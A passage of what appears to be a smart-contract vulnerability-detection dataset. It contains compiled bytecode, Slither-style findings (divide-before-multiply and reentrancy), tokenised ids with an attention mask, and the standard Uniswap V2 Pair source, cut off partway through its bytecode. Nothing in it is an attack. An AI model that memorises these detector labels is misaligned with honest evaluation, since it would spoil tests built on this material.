7f5265666c6563746976655374616b653a20756e7374616b6520616d6f756e742060408201527f69732067726561746572207468616e20746f74616c2075736572207374616b656060820152607360f81b608082015260a00190565b6020808252604e908201527f5265666c6563746976655374616b653a20496e76616c69642073746174652e2060408201527f5374616b696e67207368617265732065786973742c20627574206e6f2073746160608201526d6b696e6720746f6b656e7320646f60901b608082015260a00190565b6020808252602a908201527f5265666c6563746976655374616b653a205374616b6520616d6f756e74206973604082015269081d1bdbc81cdb585b1b60b21b606082015260800190565b60208082526034908201527f5265666c6563746976655374616b653a207472616e73666572206f7574206f66604082015273081cdd185ada5b99c81c1bdbdb0819985a5b195960621b606082015260800190565b60208082526034908201527f5265666c6563746976655374616b653a20556e61626c6520746f20756e7374616040820152731ad948185b5bdd5b9d081d1a1a5cc81cdb585b1b60621b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526027908201527f5265666c6563746976655374616b653a20756e7374616b6520616d6f756e74206040820152666973207a65726f60c81b606082015260800190565b60208082526032908201527f5265666c6563746976655374616b653a207472616e7366657220696e746f20736040820152711d185ada5b99c81c1bdbdb0819985a5b195960721b606082015260800190565b81518152602080830151908201526040918201519181019190915260600190565b90815260200190565b918252602082015260606040820181905260009082015260800190565b6001600160a01b038116811461194657600080fd5b5056fea2646970667358221220796d3964e2990c7ca33ae0d0e5cc65afc68b223b955b6b0d721880c7aaa7a2ab64736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21996, 27717, 2278, 2692, 17788, 2629, 2546, 2575, 2050, 2629, 21456, 2581, 2683, 2629, 2063, 18827, 19317, 20842, 28756, 2094, 2581, 2050, 17788, 2094, 2487, 2050, 2620, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1032, 8311, 1032, 8785, 1032, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,378
0x96aefaa6c0a182822f239490d85bea471a7610cf
/** *Submitted for verification at Etherscan.io on 2020-05-05 */ // File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146108c4578063d505accf1461090e578063dd62ed3e146109a7578063fff6cae914610a1f576101a9565b8063ba9a7a5614610818578063bc25cf7714610836578063c45a01551461087a576101a9565b80637ecebe00116100d35780637ecebe001461067857806389afcb44146106d057806395d89b411461072f578063a9059cbb146107b2576101a9565b80636a627842146105aa57806370a08231146106025780637464fc3d1461065a576101a9565b806323b872dd116101665780633644e515116101405780633644e515146104ec578063485cc9551461050a5780635909c0d51461056e5780635a3d54931461058c576101a9565b806323b872dd1461042457806330adf81f146104aa578063313ce567146104c8576101a9565b8063022c0d9f146101ae57806306fdde031461025b5780630902f1ac146102de578063095ea7b3146103565780630dfe1681146103bc57806318160ddd14610406575b600080fd5b610259600480360360808110156101c457600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561021557600080fd5b82018360208201111561022757600080fd5b8035906020019184600183028401116401000000008311171561024957600080fd5b9091929391929390505050610a29565b005b610263611216565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a3578082015181840152602081019050610288565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e661124f565b60405180846dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168152602001836dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff1681526020018263ffffffff1663ffffffff168152602001935050505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ac565b604051808215151515815260200191505060405180910390f35b6103c46112c3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040e6112e9565b6040518082815260200191505060405180910390f35b6104906004803603606081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ef565b604051808215151515815260200191505060405180910390f35b6104b26114ba565b6040518082815260200191505060405180910390f35b6104d06114e1565b604051808260ff1660ff16815260200191505060405180910390f35b6104f46114e6565b6040518082815260200191505060405180910390f35b61056c6004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ec565b005b610576611635565b6040518082815260200191505060405180910390f35b61059461163b565b6040518082815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611641565b6040518082815260200191505060405180910390f35b6106446004803603602081101561061857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611af2565b6040518082815260200191505060405180910390f35b610662611b0a565b6040518082815260200191505060405180910390f35b6106ba6004803603602081101561068e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b10565b6040518082815260200191505060405180910390f35b610712600480360360208110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b28565b604051808381526020018281526020019250505060405180910390f35b610737612115565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077757808201518184015260208101905061075c565b50505050905090810190601f1680156107a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107fe600480360360408110156107c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061214e565b604051808215151515815260200191505060405180910390f35b610820612165565b6040518082815260200191505060405180910390f35b6108786004803603602081101561084c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061216b565b005b610882612446565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108cc61246c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109a5600480360360e081101561092457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050612492565b005b610a09600480360360408110156109bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127d6565b6040518082815260200191505060405180910390f35b610a276127fb565b005b6001600c5414610aa1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f556e697377617056323a204c4f434b454400000000000000000000000000000081525060200191505060405180910390fd5b6000600c819055506000851180610ab85750600084115b610b0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061397c6025913960400191505060405180910390fd5b600080610b1861124f565b5091509150816dffffffffffffffffffffffffffff1687108015610b4b5750806dffffffffffffffffffffffffffff1686105b610ba0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806139c56021913960400191505060405180910390fd5b6000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614158015610c5957508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b610ccb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f556e697377617056323a20494e56414c49445f544f000000000000000000000081525060200191505060405180910390fd5b60008b1115610ce057610cdf828a8d612a7b565b5b60008a1115610cf557610cf4818a8c612a7b565b5b6000888890501115610ddd578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b158015610dc457600080fd5b505af1158015610dd8573d6000803e3d6000fd5b505050505b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e5a57600080fd5b505afa158015610e6e573d6000803e3d6000fd5b505050506040513d6020811015610e8457600080fd5b810190808051906020019092919050505093508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f1457600080fd5b505afa158015610f28573d6000803e3d6000fd5b505050506040513d6020811015610f3e57600080fd5b810190808051906020019092919050505092505050600089856dffffffffffffffffffffffffffff16038311610f75576000610f8b565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610faf576000610fc5565b89856dffffffffffffffffffffffffffff160383035b90506000821180610fd65750600081115b61102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139a16024913960400191505060405180910390fd5b6000611067611044600385612cc890919063ffffffff16565b6110596103e888612cc890919063ffffffff16565b612d5d90919063ffffffff16565b905060006110a5611082600385612cc890919063ffffffff16565b6110976103e888612cc890919063ffffffff16565b612d5d90919063ffffffff16565b90506110ef620f42406110e1896dffffffffffffffffffffffffffff168b6dffffffffffffffffffffffffffff16612cc890919063ffffffff16565b612cc890919063ffffffff16565b6111028284612cc890919063ffffffff16565b1015611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e697377617056323a204b000000000000000000000000000000000000000081525060200191505060405180910390fd5b505061118484848888612de0565b8873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82284848f8f6040518085815260200184815260200183815260200182815260200194505050505060405180910390a35050505050506001600c819055505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6000806000600860009054906101000a90046dffffffffffffffffffffffffffff1692506008600e9054906101000a90046dffffffffffffffffffffffffffff1691506008601c9054906101000a900463ffffffff169050909192565b60006112b933848461315e565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114a45761142382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6114af848484613249565b600190509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960001b81565b601281565b60035481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e697377617056323a20464f5242494444454e00000000000000000000000081525060200191505060405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60095481565b600a5481565b60006001600c54146116bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f556e697377617056323a204c4f434b454400000000000000000000000000000081525060200191505060405180910390fd5b6000600c819055506000806116ce61124f565b50915091506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561177457600080fd5b505afa158015611788573d6000803e3d6000fd5b505050506040513d602081101561179e57600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561185257600080fd5b505afa158015611866573d6000803e3d6000fd5b505050506040513d602081101561187c57600080fd5b8101908080519060200190929190505050905060006118b4856dffffffffffffffffffffffffffff1684612d5d90919063ffffffff16565b905060006118db856dffffffffffffffffffffffffffff1684612d5d90919063ffffffff16565b905060006118e987876133dd565b9050600080549050600081141561193d576119296103e861191b6119168688612cc890919063ffffffff16565b6135be565b612d5d90919063ffffffff16565b985061193860006103e8613620565b6119a0565b61199d886dffffffffffffffffffffffffffff166119648387612cc890919063ffffffff16565b8161196b57fe5b04886dffffffffffffffffffffffffffff166119908487612cc890919063ffffffff16565b8161199757fe5b0461373a565b98505b600089116119f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180613a0e60289139604